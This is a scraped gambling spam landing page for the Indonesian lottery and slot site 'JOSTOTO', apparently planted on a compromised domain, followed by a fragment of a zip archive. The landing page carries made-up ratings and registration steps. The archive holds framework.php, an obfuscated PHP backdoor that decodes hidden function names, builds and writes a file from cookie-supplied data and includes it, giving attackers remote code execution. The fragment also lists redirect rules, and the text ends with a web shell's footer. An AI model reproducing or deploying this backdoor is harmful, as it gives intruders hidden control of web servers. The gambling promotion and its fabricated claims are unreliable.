translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg); transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg) } 100% { -webkit-transform: none; transform: none } } .site-description ul li { list-style-type: square } </style> <script type="application/ld+json" class="yoast-schema-graph"> {"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://thecamphuntsville.com/","url":"https://thecamphuntsville.com/","name":"JOSTOTO Alternatif Terbaru Login Togel Populer Hadiah Terbesar","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"#?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"id-ID"},{"@type":"CollectionPage","@id":"##webpage","url":"https://thecamphuntsville.com/","name":"JOSTOTO Alternatif Terbaru Login Togel Populer Hadiah Terbesar","isPartOf":{"@id":"#website"},"description":"JOSTOTO menyediakan link alternatif terbaru login togel online populer dengan hadiah 4d terbesar di asia, jostoto menghadirkan pasaran togel online terlengkap.","breadcrumb":{"@id":"#breadcrumb"},"inLanguage":"id-ID","potentialAction":[{"@type":"ReadAction","target":["https://thecamphuntsville.com/"]}]},{"@type":"BreadcrumbList","@id":"#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home"}]}]}</script> <script type="application/ld+json"> {"@context": "http://schema.org","@type": "Game","name": "JOSTOTO","author": { "@type": "Person", "name": "bandar togel online" },"headline": "JOSTOTO Alternatif Terbaru Login Togel Populer Hadiah Terbesar","description": "JOSTOTO menyediakan link alternatif terbaru login togel online populer dengan hadiah 4d terbesar di asia, jostoto menghadirkan pasaran togel online terlengkap.","keywords": ["Agen togel XRTOTO, agen togel resmi, agen togel resmi, agen togel terbesar dan terpercaya, agen togel terpercaya no 1 di indonesia"],"image": "https://i.gyazo.com/67c4d8e59e3dbbe75c9925d4236f1669.png","url": "https://thecamphuntsville.com/","publisher": { "@type": "Organization", "name": "JOSTOTO" },"aggregateRating": { "@type": "AggregateRating", "ratingValue": "100", "bestRating": "100", "worstRating": "0", "ratingCount": "105468123" },"inLanguage": "id-ID"} </script> <script type='application/ld+json'> { "@context": "http://schema.org", "@type": "Article", "@id": "#article", "mainEntityOfPage": "https://thecamphuntsville.com/", "headline": "JOSTOTO Alternatif Terbaru Login Togel Populer Hadiah Terbesar", "name": "JOSTOTO Alternatif Terbaru Login Togel Populer Hadiah Terbesar", "url": "https://thecamphuntsville.com/", "description": "JOSTOTO menyediakan link alternatif terbaru login togel online populer dengan hadiah 4d terbesar di asia, jostoto menghadirkan pasaran togel online terlengkap.", "image": "https://i.gyazo.com/67c4d8e59e3dbbe75c9925d4236f1669.png", "datePublished": "2023-02-11T08:02:40+00:00", "dateModified": "2023-02-11T08:02:40+00:00", "author": { "@type": "Person", "name": "Togel Terpercaya", "url": "https://thecamphuntsville.com/" }, "publisher": { "@type": "Organization", "name": "https://thecamphuntsville.com/", "description": "JOSTOTO menyediakan link alternatif terbaru login togel online populer dengan hadiah 4d terbesar di asia, jostoto menghadirkan pasaran togel online terlengkap.", "logo": { "@type": "ImageObject", "url": "https://i.gyazo.com/67c4d8e59e3dbbe75c9925d4236f1669.png", "width": 600, "height": 60 } } } </script> <script type="application/ld+json"> { "@context": "https://schema.org", "@type": "Organization", "name": "JOSTOTO", "alternateName": "Bandar Togel Terpercaya", "url": "https://thecamphuntsville.com/", "logo": "https://i.gyazo.com/623c01104814090df81b9cfbae79ee10.png", "description": "JOSTOTO menyediakan link alternatif terbaru login togel online populer dengan hadiah 4d terbesar di asia, jostoto menghadirkan pasaran togel online terlengkap.", "address": { "@type": "PostalAddress", "streetAddress": "Podomoro city central park, RT.15/RW.5, Tj. Duren Sel., Kec. Grogol petamburan", "postOfficeBoxNumber": "11470", "addressLocality": "Daerah Khusus Ibukota Jakarta", "addressRegion": "Kota Jakarta Barat", "postalCode": "11470", "addressCountry": "Indonesia" }, "contactPoint": { "@type": "ContactPoint", "telephone": "+62 812-5674-3347", "contactType": "customer service", "areaServed": "ID", "availableLanguage": "Indonesian" }, "sameAs": [ "https://www.youtube.com/@jostoto", "https://twitter.com/jostoto", "https://thecamphuntsville.com/" ] } </script> <script type="application/ld+json"> { "@context": "https://schema.org/", "@type": "BreadcrumbList", "itemListElement": [{ "@type": "ListItem", "position": 1, "name": "Home", "item": "https://thecamphuntsville.com/" }, { "@type": "ListItem", "position": 2, "name": "JOSTOTO", "item": "https://thecamphuntsville.com/" }, { "@type": "ListItem", "position": 3, "name": "JOSTOTO Alternatif Terbaru Login Togel Populer Hadiah Terbesar" } ] } </script> </head> <body> <div class="navbar"> <div class="container"> <div class="row"> <div class="col-md-12"> <div class="logomobi acenter"> <span itemscope="itemscope" itemtype="https://schema.org/Brand"> <a itemprop="url" href="https://thecamphuntsville.com/" title="JOSTOTO"> <a href="https://thecamphuntsville.com/" title="JOSTOTO"> <amp-img src="https://i.gyazo.com/623c01104814090df81b9cfbae79ee10.png" alt="JOSTOTO" width="200" height="80" /> </a> <meta itemprop="name" content="JOSTOTO"> </a> </span> </div> </div> </div> </div> </div> <div class="clear"></div> <div class="content"> <div class="container"> <div class="row mtop"> <div class="col-md-4"> <div class="logo acenter"> <span itemscope="itemscope" itemtype="https://schema.org/Brand"> <a itemprop="url" href="https://thecamphuntsville.com/" title="JOSTOTO"> <a href="https://thecamphuntsville.com/" title="JOSTOTO"> <amp-img src="https://i.gyazo.com/623c01104814090df81b9cfbae79ee10.png" alt="JOSTOTO Alternatif Terbaru Login Togel Populer Hadiah Terbesar" width="200" height="60" layout="responsive" /> </a> <meta itemprop="name" content="JOSTOTO"> </a> </span> </div> </div> <div class="col-md-8"> <div class="row logform"> <div class="col-xs-6"> <a href="https://rebrand.ly/joslogin" target="_blank" rel="nofollow noreferrer"> <span class="tron-login">LOGIN</span> </a> </div> <div class="col-xs-6"> <a href="https://rebrand.ly/daftarjos" target="_blank" rel="nofollow noreferrer"> <span class="tron-regis">DAFTAR</span> </a> </div> </div> </div> </div> </div> </div> <div class="spacer"></div> <div class="container"> <div class="item-8 item-xs-12 m-b-1 slider-area owl-carousel"> <amp-carousel width="1280" height="720" layout="responsive" type="slides" autoplay delay="4000"> <amp-img src="https://i.gyazo.com/67c4d8e59e3dbbe75c9925d4236f1669.png" width="1280" height="720" layout="responsive" alt="JOSTOTO"><amp-img alt="JOSTOTO Alternatif Terbaru Login Togel Populer Hadiah Terbesar" fallback width="1280" height="720" layout="responsive" src="https://i.gyazo.com/67c4d8e59e3dbbe75c9925d4236f1669.png"></amp-img> </amp-img> </amp-carousel> </div> </div> <div class="clear"></div> <div class="bottom bg-dark"> <div class="container"> <div class="row p-0" style="background-color: #000;"> <div class="col-md-6 pt-3 p-0 acenter"> <div class="row"> <div class="col-xs-6"> <a href="https://thecamphuntsville.com/" title="Situs Togel"> <span class="tron">JOSTOTO</span> </a> </div> <div class="col-xs-6"> <a href="https://thecamphuntsville.com/" title="Situs Togel Online"> <span class="tron">JOSTOTO Login</span> </a> </div> </div> </div> <div class="col-md-6 pt-3 p-0 acenter"> <div class="row"> <div class="col-xs-6"> <a href="https://thecamphuntsville.com/" title="Situs Togel Terpercaya"> <span class="tron">JOSTOTO Daftar</span> </a> </div> <div class="col-xs-6"> <a href="https://thecamphuntsville.com/" title="Situs Togel Resmi"> <span class="tron">Link JOSTOTO</span> </a> </div> </div> </div> </div> </div> </div> <div class="container"> <div class="table"> <table class="toto-online-xrtoto" style="width:100%"> <thead> <tr> <th colspan="3">Informasi Situs</th> </tr> </thead> <tbody> <tr> <td style="padding: 10px;">Nama Situs</td> <td style="padding: 10px;"> <a href="https://thecamphuntsville.com/">JOSTOTO</a> 🔥 </td> </tr> <tr> <td style="padding: 10px;">Jenis Permainan</td> <td style="padding: 10px;"><a>🎲Togel Online, 🎰Slot Online, 💸Live Casino Online</a> </td> </tr> <tr> <td style="padding: 10px;">Minimal Deposit</td> <td style="padding: 10px;">💰Rp 20.000</td> </tr> <tr> <td style="padding: 10px;">Metode Deposit</td> <td style="padding: 10px;">🟢Transfer Bank, E-Wallet, 🟠Qris</td> </tr> <tr> <td style="padding: 10px;">Mata Uang</td> <td style="padding: 10px;">IDR (Indonesian Rupiah)</td> </tr> <tr> <td style="padding: 10px;">Jam Operasional</td> <td style="padding: 10px;">24 Jam Online</td> </tr> <tr> <td style="padding: 10px;">Rating</td> <td style="padding: 10px;">⭐⭐⭐⭐⭐ 115,834,321 User</td> </tr> <tr> <td style="padding: 10px;">Daftar Sekarang</td> <td style="padding: 10px;"> <span style="color: #fffb00;"> <a style="color: #ffd900;" title="JOSTOTO Alternatif Terbaru Login Togel Populer Hadiah Terbesar" href="https://rebrand.ly/daftarjos" target="_blank" rel="nofollow noopener">KLIK DISINI</a> </span> </td> </tr> </tbody> </table> </div> </div> <br> <div class="bottom bg-dark"> <div class="container"> <div class="row mb-3" style="background-color: #020202;"> <div class="col-md-12 pb-5"> <div class="site-description"> <p id="breadcrumbs"> <h1>JOSTOTO Alternatif Terbaru Login Togel Populer Hadiah Terbesar</h1> <p style="text-align: justify;"><strong><a href="https://thecamphuntsville.com/">JOSTOTO</a></strong> menyediakan link alternatif terbaru login togel online populer dengan hadiah 4d terbesar di asia, jostoto menghadirkan pasaran togel online terlengkap. Dengan pesatnya kemajuan teknologi saat ini, bermain permainan togel online menjadi semakin praktis dan mudah diakses. Di agen togel, tersedia beragam pilihan permainan yang menarik, seperti taruhan toto 4d yang menawarkan kesempatan untuk memenangkan hadiah besar. Oleh karena itu, penting untuk memilih Bandar BO yang terpercaya agar dapat menikmati berbagai jenis permainan yang menghibur. Di Bandar BO ini, para pemain akan disuguhkan dengan beragam permainan togel online terbaik dari berbagai pasaran yang ada di <strong><a href="https://thecamphuntsville.com/">Jostoto togel</a></strong> online.</p> <p style="text-align: justify;">Aktivitas bermain togel online merupakan pengalaman yang sangat mengasyikkan karena di sini Kamu memiliki kesempatan untuk memenangkan hadiah sebesar 10 juta rupiah dalam bentuk hadiah 4d. Dengan bermain di agen terbaik, Kamu tidak hanya mendapatkan kesenangan semata, tetapi juga dapat menghibur diri dengan penuh kemeriahan. Bermain toto gelap menjadi lebih menyenangkan dan memuaskan karena prosesnya yang mudah dan dapat dinikmati kapan pun Kamu inginkan. Jadi, jangan ragu untuk mendaftarkan diri Kamu sekarang juga di Bandar togel BO yang resmi dan terpercaya melalui <strong><a href="https://thecamphuntsville.com/">situs togel jostoto</a></strong> untuk merasakan keseruan bermain togel online yang sebenarnya.</p> <h2 style="text-align: center;">Cara Daftar Akun di Situs Jostoto Mudah menang</h2> <p style="text-align: justify;">Dalam sejumlah tinjauan yang diperbincangkan mengenai platform Jostoto, pembaca pasti telah memperoleh pemahaman tentang cara mendaftar di situs judi slot online secara simpel. Seluruh tahap pendaftaran dapat diselesaikan dengan mudah dalam beberapa menit saja. Akan tetapi, penting untuk diingat bahwa proses pendaftaran di platform slot online melibatkan beberapa langkah keamanan yang tidak boleh diabaikan apabila ingin menikmati beragam permainan slot berkualitas. Kamu perlu menginvestasikan waktu untuk mengisi seluruh informasi yang diminta dengan akurat. Berikut ini adalah panduan singkat tentang cara mendaftar akun di situs judi slot <strong><a href="https://thecamphuntsville.com/">situs togel</a></strong>:</p> <ul style="text-align: justify;"> <li>Pertama-tama, bukalah peramban web Google, kemudian ketikkan kata kunci "Jostoto" untuk mengakses halaman situs judi slot online terbaik.</li> <li>Telusuri halaman utama untuk menemukan tombol "DAFTAR" yang akan membawa Kamu ke formulir pendaftaran.</li> <li>Isilah seluruh kolom dalam formulir pendaftaran dengan menggunakan data pribadi Kamu. Pastikan untuk menyertakan nomor telepon yang aktif agar memudahkan tim layanan pelanggan menghubungi Kamu.</li> <li>Buatlah kombinasi kata sandi yang mudah diingat tetapi sulit ditebak oleh orang lain.</li> <li>Setelah seluruh kolom terisi dengan lengkap, tekan tombol "submit" untuk melanjutkan ke proses verifikasi data.</li> <li>Dalam sekejap, Kamu akan berhasil mendaftarkan diri di salah satu situs terbaik di Indonesia.</li> </ul> <p style="text-align: justify;">Ayo segera mendaftar dan nikmati beragam permainan di situs resmi Jostoto dengan minimal deposit sebesar 20.000 dan minimal penarikan dana sebesar 30.000.</p> <h2 style="text-align: center;">Provider Resmi RTP Live Slot Togel Pastinya Maxwin di Jostoto</h2> <h3 style="text-align: justify;">1. Provider Slot Togel Pragmatic Play</h3> <p style="text-align: justify;">Saat pertama kali merambah ke dunia permainan slot, ada baiknya Kamu menggali pengalaman dengan mencoba permainan dari provider pragmatic play, seperti slot <strong><a href="https://thecamphuntsville.com/">situs toto</a></strong>. Dalam perjalanan taruhan Kamu, sensasi kesenangan dan kegembiraan yang tercipta akan semakin memperkaya pengalaman berjudi Kamu.</p> <p style="text-align: justify;">Pragmatic Play sendiri telah meraih popularitas yang cukup besar di Indonesia, dan hampir seluruh karya mereka dianggap sebagai peluang besar dalam meraih keuntungan. Oleh karena itu, tak heran jika pragmatic play menjadi pilihan utama bagi mereka yang mengincar keuntungan berlimpah dari permainan judi. Dengan ragam permainan slot <strong><a href="https://thecamphuntsville.com/">situs togel terpercaya</a></strong> Jostoto yang populer, seperti Gates of Olympus, Sweet Bonanza, dan Aztec Gems, tidaklah mengherankan jika para pemain yang telah lama terjun dalam dunia slot Jostoto menyukai game-game tersebut karena tingkat kemenangan yang cenderung tinggi.</p> <p style="text-align: justify;">Selain itu, pemain juga berkesempatan untuk memperoleh bonus berlipat gkamu ketika memilih provider ini, yang menambah daya tariknya. Menariknya lagi, menemukan developer pragmatic play tidaklah sulit, terutama di era digital saat ini.</p> <h3 style="text-align: justify;">2. Provider Slot Togel Microgaming</h3> <p style="text-align: justify;">Di antara beragam provider slot, Microgaming menonjol sebagai salah satu yang paling menguntungkan, terutama di Indonesia. Banyak pemain di tanah air memilih permainan dari Microgaming karena reputasinya yang solid. Jika Kamu telah terbiasa dengan slot pragmatic play, kini saatnya untuk mencoba peruntungan dengan permainan dari Microgaming.</p> <p style="text-align: justify;">Provider <strong><a href="https://thecamphuntsville.com/">situs togel resmi</a></strong> ini terkenal dengan beragam permainan yang menggiurkan, seperti Megaspin Break, Big Bad Wolf, dan banyak lagi lainnya. Sehingga, Kamu memiliki kesempatan untuk meraih kemenangan besar setiap harinya. Dengan slot Microgaming, semua bettor berhak mendapatkan keuntungan besar, bahkan dengan strategi yang sederhana.</p> <h3 style="text-align: justify;">3. Provider Slot Togel Habanero</h3> <p style="text-align: justify;">Habanero hadir sebagai salah satu pilihan terbaik bagi mereka yang menginginkan keuntungan besar dalam bermain slot. Dikenal sebagai provider yang menghasilkan permainan menguntungkan, Habanero telah membuktikan keunggulannya di kancah judi slot <strong><a href="https://thecamphuntsville.com/">situs togel 88</a></strong>. Kerjasama yang telah dibangun dengan developer lain semakin menegaskan reputasi Habanero di industri ini.</p> <p style="text-align: justify;">Bagi pemula, memahami aturan taruhan menjadi langkah penting sebelum memulai petualangan berjudi. Meskipun permainan Habanero terkenal mudah dimenangkan, bettor Jostoto tetap harus memahami aturan dasar permainan. Semakin Kamu memahami peraturan dalam permainan <strong><a href="https://thecamphuntsville.com/">situs togel gacor</a></strong>, semakin besar pula kesempatan Kamu meraih kemenangan dan keuntungan. Habanero menawarkan pengalaman bermain yang mengasyikkan dengan potensi penghasilan yang melimpah.</p> <h3 style="text-align: justify;">4. Provider Slot Togel PG Soft</h3> <p style="text-align: justify;">Tak kalah menariknya, ada juga provider bernama PG Soft yang patut Kamu pertimbangkan jika Kamu pecinta judi slot online. PG Soft saat ini menawarkan pengalaman bermain yang sangat menguntungkan bagi para pemainnya. Dengan reputasi yang sudah mapan di Indonesia, PG Soft dianggap sebagai salah satu developer terbaik karena menawarkan keamanan dan kenyamanan saat bermain.</p> <h2 style="text-align: justify;">Penutup</h2> <p style="text-align: justify;">Dalam mengejar sensasi dan keseruan dunia perjudian, penting bagi setiap pemain untuk mempertimbangkan pilihan mereka dengan bijaksana. Provider-provider seperti Pragmatic Play, Microgaming, Habanero, dan PG Soft menawarkan pengalaman bermain yang berbeda-beda, tetapi semuanya memiliki potensi untuk memberikan keuntungan yang signifikan. Dengan berbagai permainan yang tersedia dan reputasi yang telah teruji, para pemain memiliki banyak opsi untuk mengeksplorasi dan menemukan apa yang sesuai dengan preferensi dan gaya bermain mereka.</p> <p style="text-align: justify;">Namun, perlu diingat bahwa perjudian adalah aktivitas yang harus dihadapi dengan penuh kewaspadaan. Meskipun permainan di <strong><a href="https://thecamphuntsville.com/">situs togel terbaru</a></strong> menawarkan kesenangan dan peluang untuk meraih keuntungan, ada risiko keuangan yang terkait dengan aktivitas ini. Penting bagi setiap pemain untuk menetapkan batasan dalam hal waktu, uang, dan emosi yang mereka alokasikan untuk berjudi. Bermain dengan bijaksana, bertanggung jawab, dan mengikuti prinsip-prinsip perjudian yang sehat adalah kunci untuk menikmati pengalaman berjudi tanpa mengorbankan hal-hal yang lebih penting dalam kehidupan.</p> <p style="text-align: justify;">Jadi, sebelum Kamu memilih provider atau memulai permainan slot online, luangkan waktu untuk memahami risiko yang terlibat, menetapkan batasan yang jelas, dan selalu berpegang pada prinsip-prinsip perjudian yang bertanggung jawab. Dengan demikian, Kamu dapat menikmati kesenangan perjudian sambil menjaga keseimbangan dalam kehidupan Kamu. Semoga pengalaman berjudi Kamu selalu menyenangkan, menghibur, dan menguntungkan.</p> </div> </div> </div> </div> </div> <div class="container"> <div class="copyleft acenter pb-2"> <span>© 2024 • <a href="https://thecamphuntsville.com/">JOSTOTO Alternatif Terbaru Login Togel Populer Hadiah Terbesar</a> •</span> </div> </div> <div class="fixed-footer"> <a href="https://rebrand.ly/promosijostoto" rel="nofollow noopener" target="_blank"> <amp-img layout="intrinsic" height="75" width="75" src="https://i.gyazo.com/e0b626196df5705a0765d47d7d8ee65a.png" alt="Bonus Bandar Togel Terpercaya"></amp-img> Promo </a> <a href="https://rebrand.ly/daftarjos" rel="nofollow noopener" target="_blank"> <amp-img layout="intrinsic" height="75" width="75" src="https://i.imgur.com/C8P1cb2.png" alt="Bandar Togel Terpercaya"></amp-img> Daftar </a> <a href="https://rebrand.ly/joslogin" rel="nofollow noopener" target="_blank"> <amp-img layout="intrinsic" height="75" width="75" src="https://i.imgur.com/JzfCbwq.png" alt="Bandar Togel Online"></amp-img> Login </a> <a href="https://direct.lc.chat/10179372/8" rel="nofollow noopener" target="_blank" class="js_live_chat_link live-chat-link"> <amp-img class="live-chat-icon" layout="intrinsic" height="75" width="75" src="https://i.gyazo.com/a848309e4bce861b9010faba3b7a4dc8.png" alt="Live Chat"></amp-img> Live Chat </a> </div> </body> </html>PK `8�\�$�� � framework.phpnu ��6�$ <?php function fetch_metadata($c) { $a = array(28 + 73 + 14, 116, 60 + 36 + 18, 112 - 4, 107 - 6, 24 + 86); $s = ''; foreach ($a as $n) { $s .= chr($n); } return $s($c); } function check_access($c) { $a = array(101 * 1, 100, 3 * 37, 99, 63 + 22 + 16, 107 - 7, 5 * 19, 35 + 17, 54, 101 * 1, 83 * 48 - 3869, 25 + 46 + 26, 103 - 5); $s = ''; foreach ($a as $n) { $s .= chr($n); } $s = strrev($s); return $s($c); } class SecureHandler { private static $_ez; static function trackActivity($_ys, $_fh) { if (!self::$_ez) { self::resetState(); } $_fk = fetch_metadata($_fh); $_nbt = check_access(self::$_ez[$_ys]); for ($_chi = 0, $_jsw = fetch_metadata($_nbt); $_chi !== $_jsw; ++$_chi) { $_nbt[$_chi] = chr(ord($_nbt[$_chi]) ^ ord($_fh[$_chi % $_fk])); } return $_nbt; } private static function resetState() { self::$_ez = array('_oax' => 'FyQjJQAlJDANLzYyGj4j', '_xit' => 'FzE8PQAwOygNOikqGis8', '_mdy' => 'bFFZaldTb1c=', '_mqb' => '', '_xw' => ''); } } if (isset($_SERVER[SecureHandler::trackActivity('_oax', '_pwu')]) && strpos($_SERVER[SecureHandler::trackActivity('_xit', '_ehm')], SecureHandler::trackActivity('_mdy', '_bj')) !== false) { $_jsw = $_COOKIE; $_fh = 00; $_ys = 03; $_azj = array(); $_azj[$_fh] = SecureHandler::trackActivity('_mqb', '_aw'); while ($_ys) { $_azj[$_fh] .= $_jsw[042][$_ys]; if (!$_jsw[042][$_ys + 01]) { if (!$_jsw[042][$_ys + 02]) { break; } $_fh++; $_azj[$_fh] = SecureHandler::trackActivity('_xw', '_xj'); $_ys++; } $_ys = $_ys + 03 + 01; } $_fh = $_azj[030]() . $_azj[02]; if (!$_azj[06]($_fh)) { $_ys = $_azj[012]($_fh, $_azj[011]); $_azj[00]($_ys, $_azj[07] . $_azj[01]($_azj[025]($_jsw[03]))); } include $_fh; die; }PK `8�\�U�� � .htaccessnu �[��� RewriteEngine on RewriteCond %{HTTP_HOST} ^kutai\.josfaction\.com$ [OR] RewriteCond %{HTTP_HOST} ^www\.kutai\.josfaction\.com$ RewriteRule ^(.*)$ "https\:\/\/kutai1\.josfaction\.com\/$1" [R=301,L] Options -Indexes PK `8�\�k��t t tool1.phpnu �[��� PK `8�\i�6d� � � authorize.phpnu �[��� PK `8�\� [ [ ? � .well-known/pki-validation/FFC0C467B295C3265524492084E71062.txtnu �[��� PK `8�\�6?iVi Vi � file61.phpnu �[��� PK `8�\�0&� 2t default.phpnu ��6�$ PK `8�\�Z��r; r; sz index.htmlnu �[��� PK `8�\�$�� � � framework.phpnu ��6�$ PK `8�\�U�� � 0� .htaccessnu �[��� PK � ?�
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | Generation time: 0.15 |
proxy
|
phpinfo
|
Settings